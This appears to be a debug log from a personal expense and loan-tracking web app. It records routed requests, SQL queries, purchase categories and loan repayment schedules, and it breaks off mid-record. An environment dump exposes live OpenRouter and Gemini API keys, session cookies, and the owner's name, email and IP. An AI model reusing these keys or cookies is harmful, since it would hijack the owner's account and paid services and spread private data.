    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2026-02-25T12:38:29.058Z server-connect:router Serving serverConnect /api/masters/get-items
2026-02-25T12:38:29.058Z server-connect:app Executing action step identify
2026-02-25T12:38:29.058Z server-connect:app options: { provider: 'security' }
2026-02-25T12:38:29.058Z server-connect:output identity: 1
2026-02-25T12:38:29.058Z server-connect:app Executing action step restrict
2026-02-25T12:38:29.058Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-25T12:38:29.059Z server-connect:output restrict: undefined
2026-02-25T12:38:29.060Z server-connect:app Executing action step select
2026-02-25T12:38:29.060Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2026-02-25T12:38:29.068Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2026-02-25T12:38:29.751Z server-connect:router Serving serverConnect /api/access-control/user-info
2026-02-25T12:38:29.751Z server-connect:app Executing action step identify
2026-02-25T12:38:29.751Z server-connect:app options: { provider: 'security' }
2026-02-25T12:38:29.751Z server-connect:output identity: 1
2026-02-25T12:38:29.752Z server-connect:app Executing action step restrict
2026-02-25T12:38:29.752Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-25T12:38:29.752Z server-connect:output restrict: undefined
2026-02-25T12:38:29.752Z server-connect:app Executing action step single
2026-02-25T12:38:29.752Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2026-02-25T12:38:29.754Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2026-02-25T12:38:32.263Z server-connect:router Serving templateView /emis
2026-02-25T12:38:32.263Z server-connect:app Executing action step identify
2026-02-25T12:38:32.263Z server-connect:app options: { provider: 'security' }
2026-02-25T12:38:32.263Z server-connect:output identity: 1
2026-02-25T12:38:32.264Z server-connect:app Executing action step restrict
2026-02-25T12:38:32.264Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-25T12:38:32.264Z server-connect:output restrict: undefined
2026-02-25T12:38:32.264Z server-connect:router Render template emis
2026-02-25T12:38:32.264Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Android"',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Mobile Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"',
    'sec-ch-ua-mobile': '?1',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/emis',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"a20d-KmhrZNn74KK7NUE/LT8CYxdPrN8"',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3A9EfYjB8N5EiVSBo%2BZyEpUw%3D%3D.IAdtBrqY4FD6FlNaCqJBsjzVfz3vNeJl2aL4gVeSOJbTTBMCaLZdZyUs81u%2FIYtwCJ%2BqxkGwkCSeMxnmGQES2UCwSIFUvpV5uf7qwKu4shOOdVX3N98rguMGXIz8043DjV%2FE4XbuAJ3s2ow0qPkx4kHjUoXILDhcVnVmJkVJ8iE%3D.As3rYOV1292sXRxlpEyabbr9t0VBxEH7QaH3mFsgazc; your_r_git.sid=s%3A74SZCxHZ2lvR3r37N_yLlTWQR0CkvCI5.rnW0nQpDQBZ5LUr75bAvgmvCx5Mmng3Jd5rkWp1ry8o',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-26T12:37:51.721Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/emis',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/emis',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/emis',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"a20d-KmhrZNn74KK7NUE/LT8CYxdPrN8"',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3A9EfYjB8N5EiVSBo%2BZyEpUw%3D%3D.IAdtBrqY4FD6FlNaCqJBsjzVfz3vNeJl2aL4gVeSOJbTTBMCaLZdZyUs81u%2FIYtwCJ%2BqxkGwkCSeMxnmGQES2UCwSIFUvpV5uf7qwKu4shOOdVX3N98rguMGXIz8043DjV%2FE4XbuAJ3s2ow0qPkx4kHjUoXILDhcVnVmJkVJ8iE%3D.As3rYOV1292sXRxlpEyabbr9t0VBxEH7QaH3mFsgazc; your_r_git.sid=s%3A74SZCxHZ2lvR3r37N_yLlTWQR0CkvCI5.rnW0nQpDQBZ5LUr75bAvgmvCx5Mmng3Jd5rkWp1ry8o',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2026-02-25T12:38:32.564Z server-connect:router Serving serverConnect /api/emis/get-loans
2026-02-25T12:38:32.564Z server-connect:app Executing action step identify
2026-02-25T12:38:32.564Z server-connect:app options: { provider: 'security' }
2026-02-25T12:38:32.564Z server-connect:output identity: 1
2026-02-25T12:38:32.564Z server-connect:app Executing action step restrict
2026-02-25T12:38:32.564Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-25T12:38:32.566Z server-connect:output restrict: undefined
2026-02-25T12:38:32.566Z server-connect:app Executing action step custom
2026-02-25T12:38:32.567Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT \n' +
      '    lm.id,\n' +
      '    lm.loan_name,\n' +
      '    lm.starting_date,\n' +
      '    lm.ending_date,\n' +
      '    lm.total_amount AS principle_amount,\n' +
      '    lm.no_of_emi,\n' +
      '    lm.interest_amount,\n' +
      '    c.name AS loan_type,\n' +
      '    c1.name AS loan_provider,\n' +
      '    lm.due_date,\n' +
      '    lm.emi_amount,\n' +
      '\n' +
      '    COUNT(ld.id) AS total_emi,\n' +
      '\n' +
      '    SUM(CASE WHEN ld.status = 0 THEN 1 ELSE 0 END) AS total_pending_emi,\n' +
      '\n' +
      '    SUM(CASE WHEN ld.status = 0 THEN ld.loan_amount ELSE 0 END) AS total_remaining_amount,\n' +
      '   \n' +
      '    SUM(CASE WHEN ld.status = 1 THEN ld.loan_amount ELSE 0 END) AS total_paid_amount,\n' +
      '\n' +
      '    -- ✅ % Loan Paid\n' +
      '    ROUND(\n' +
      '    CASE \n' +
      '        WHEN lm.no_of_emi > 0\n' +
      '        THEN (\n' +
      '            SUM(CASE WHEN ld.status = 1 THEN 1 ELSE 0 END)\n' +
      '            / lm.no_of_emi\n' +
      '        ) * 100\n' +
      '        ELSE 0\n' +
      '    END\n' +
      ',2) AS percentage_paid\n' +
      'FROM loan_master lm\n' +
      'INNER JOIN collections c \n' +
      '    ON c.id = lm.loan_type \n' +
      'INNER JOIN collections c1 \n' +
      '    ON c1.id = lm.loan_provider \n' +
      'LEFT JOIN loan_details ld \n' +
      '    ON ld.loan_id = lm.id\n' +
      'WHERE lm.status = 0\n' +
      'GROUP BY lm.id;',
    params: []
  }
}
2026-02-25T12:38:32.571Z server-connect:output list: [
  {
    id: 9,
    loan_name: 'Hero Fincorp',
    starting_date: 2022-06-07T18:30:00.000Z,
    ending_date: 2027-05-07T18:30:00.000Z,
    principle_amount: 511100,
    no_of_emi: 60,
    interest_amount: 389740,
    loan_type: 'Personal Loan',
    loan_provider: 'Hero Fincorp',
    due_date: '8th',
    emi_amount: 15014,
    total_emi: 60,
    total_pending_emi: '15',
    total_remaining_amount: 225210,
    total_paid_amount: 675630,
    percentage_paid: '75.00'
  },
  {
    id: 10,
    loan_name: 'Slashash Tech',
    starting_date: 2023-03-04T18:30:00.000Z,
    ending_date: 2026-02-01T18:30:00.000Z,
    principle_amount: 600000,
    no_of_emi: 36,
    interest_amount: 57111,
    loan_type: 'Home Loan',
    loan_provider: 'Slashash Tech',
    due_date: '5th',
    emi_amount: 18243,
    total_emi: 36,
    total_pending_emi: '4',
    total_remaining_amount: 72972,
    total_paid_amount: 583776,
    percentage_paid: '88.89'
  },
  {
    id: 11,
    loan_name: 'Fullerton India',
    starting_date: 2023-02-14T18:30:00.000Z,
    ending_date: 2028-03-14T18:30:00.000Z,
    principle_amount: 1015638,
    no_of_emi: 60,
    interest_amount: 379332,
    loan_type: 'Personal Loan',
    loan_provider: 'Fullerton India',
    due_date: '5th',
    emi_amount: 23109,
    total_emi: 60,
    total_pending_emi: '26',
    total_remaining_amount: 600834,
    total_paid_amount: 785706,
    percentage_paid: '56.67'
  },
  {
    id: 12,
    loan_name: 'Kotak Mahindra',
    starting_date: 2023-02-16T18:30:00.000Z,
    ending_date: 2027-01-16T18:30:00.000Z,
    principle_amount: 750000,
    no_of_emi: 48,
    interest_amount: 307000,
    loan_type: 'Personal Loan',
    loan_provider: 'Kotak Mahindra Bank',
    due_date: '2nd',
    emi_amount: 22031,
    total_emi: 48,
    total_pending_emi: '15',
    total_remaining_amount: 330465,
    total_paid_amount: 727023,
    percentage_paid: '68.75'
  },
  {
    id: 18,
    loan_name: 'IND Money',
    starting_date: 2023-08-14T18:30:00.000Z,
    ending_date: 2026-08-01T18:30:00.000Z,
    principle_amount: 155040,
    no_of_emi: 36,
    interest_amount: 37056,
    loan_type: 'Personal Loan',
    loan_provider: 'IND Money',
    due_date: '2nd',
    emi_amount: 5336,
    total_emi: 36,
    total_pending_emi: '9',
    total_remaining_amount: 48024,
    total_paid_amount: 144072,
    percentage_paid: '75.00'
  }
]
2026-02-25T12:38:36.932Z server-connect:router Serving serverConnect /api/emis/emi-list
2026-02-25T12:38:36.934Z server-connect:app Executing action step identify
2026-02-25T12:38:36.934Z server-connect:app options: { provider: 'security' }
2026-02-25T12:38:36.934Z server-connect:output identity: 1
2026-02-25T12:38:36.934Z server-connect:app Executing action step restrict
2026-02-25T12:38:36.934Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-25T12:38:36.935Z server-connect:output restrict: undefined
2026-02-25T12:38:36.935Z server-connect:app Executing action step select
2026-02-25T12:38:36.935Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'loan_details' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `loan_id`, `due_date`, `paid_on`, `loan_amount`, `status` from `loan_details` where `loan_details`.`loan_id` = ?'
  }
}
2026-02-25T12:38:36.938Z server-connect:output list: [
  {
    id: 52,
    loan_id: 9,
    due_date: '2022-06-07T18:30:00.000Z',
    paid_on: '2022-06-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 53,
    loan_id: 9,
    due_date: '2022-07-07T18:30:00.000Z',
    paid_on: '2022-07-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 54,
    loan_id: 9,
    due_date: '2022-08-07T18:30:00.000Z',
    paid_on: '2022-08-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 55,
    loan_id: 9,
    due_date: '2022-09-07T18:30:00.000Z',
    paid_on: '2022-09-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 56,
    loan_id: 9,
    due_date: '2022-10-07T18:30:00.000Z',
    paid_on: '2022-10-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 57,
    loan_id: 9,
    due_date: '2022-11-07T18:30:00.000Z',
    paid_on: '2022-11-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 58,
    loan_id: 9,
    due_date: '2022-12-07T18:30:00.000Z',
    paid_on: '2022-12-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 59,
    loan_id: 9,
    due_date: '2023-01-07T18:30:00.000Z',
    paid_on: '2023-01-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 60,
    loan_id: 9,
    due_date: '2023-02-07T18:30:00.000Z',
    paid_on: '2023-02-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 61,
    loan_id: 9,
    due_date: '2023-03-07T18:30:00.000Z',
    paid_on: '2023-03-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 62,
    loan_id: 9,
    due_date: '2023-04-07T18:30:00.000Z',
    paid_on: '2023-05-01T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 63,
    loan_id: 9,
    due_date: '2023-05-07T18:30:00.000Z',
    paid_on: '2023-05-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 64,
    loan_id: 9,
    due_date: '2023-06-07T18:30:00.000Z',
    paid_on: '2023-06-05T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 65,
    loan_id: 9,
    due_date: '2023-07-07T18:30:00.000Z',
    paid_on: '2023-07-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 66,
    loan_id: 9,
    due_date: '2023-08-07T18:30:00.000Z',
    paid_on: '2023-08-01T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 67,
    loan_id: 9,
    due_date: '2023-09-07T18:30:00.000Z',
    paid_on: '2023-09-01T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 68,
    loan_id: 9,
    due_date: '2023-10-07T18:30:00.000Z',
    paid_on: '2023-10-01T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 69,
    loan_id: 9,
    due_date: '2023-11-07T18:30:00.000Z',
    paid_on: '2023-11-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 70,
    loan_id: 9,
    due_date: '2023-12-07T18:30:00.000Z',
    paid_on: '2023-12-05T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 71,
    loan_id: 9,
    due_date: '2024-01-07T18:30:00.000Z',
    paid_on: '2024-01-06T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 72,
    loan_id: 9,
    due_date: '2024-02-07T18:30:00.000Z',
    paid_on: '2024-02-06T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 73,
    loan_id: 9,
    due_date: '2024-03-07T18:30:00.000Z',
    paid_on: '2024-03-06T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 74,
    loan_id: 9,
    due_date: '2024-04-07T18:30:00.000Z',
    paid_on: '2024-04-02T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 75,
    loan_id: 9,
    due_date: '2024-05-07T18:30:00.000Z',
    paid_on: '2024-06-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 76,
    loan_id: 9,
    due_date: '2024-06-07T18:30:00.000Z',
    paid_on: '2024-06-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 77,
    loan_id: 9,
    due_date: '2024-07-07T18:30:00.000Z',
    paid_on: '2024-07-05T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 78,
    loan_id: 9,
    due_date: '2024-08-07T18:30:00.000Z',
    paid_on: '2024-08-06T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 79,
    loan_id: 9,
    due_date: '2024-09-07T18:30:00.000Z',
    paid_on: '2024-09-02T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 80,
    loan_id: 9,
    due_date: '2024-10-07T18:30:00.000Z',
    paid_on: '2024-10-03T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 81,
    loan_id: 9,
    due_date: '2024-11-07T18:30:00.000Z',
    paid_on: '2024-11-06T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 82,
    loan_id: 9,
    due_date: '2024-12-07T18:30:00.000Z',
    paid_on: '2024-12-05T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 83,
    loan_id: 9,
    due_date: '2025-01-07T18:30:00.000Z',
    paid_on: '2025-01-05T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 84,
    loan_id: 9,
    due_date: '2025-02-07T18:30:00.000Z',
    paid_on: '2025-02-06T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 85,
    loan_id: 9,
    due_date: '2025-03-07T18:30:00.000Z',
    paid_on: '2025-03-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 86,
    loan_id: 9,
    due_date: '2025-04-07T18:30:00.000Z',
    paid_on: '2025-04-03T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 87,
    loan_id: 9,
    due_date: '2025-05-07T18:30:00.000Z',
    paid_on: '2025-05-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 88,
    loan_id: 9,
    due_date: '2025-06-07T18:30:00.000Z',
    paid_on: '2025-07-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 89,
    loan_id: 9,
    due_date: '2025-07-07T18:30:00.000Z',
    paid_on: '2025-08-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 90,
    loan_id: 9,
    due_date: '2025-08-07T18:30:00.000Z',
    paid_on: '2025-08-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 91,
    loan_id: 9,
    due_date: '2025-09-07T18:30:00.000Z',
    paid_on: '2025-09-05T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 92,
    loan_id: 9,
    due_date: '2025-10-07T18:30:00.000Z',
    paid_on: '2025-10-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 93,
    loan_id: 9,
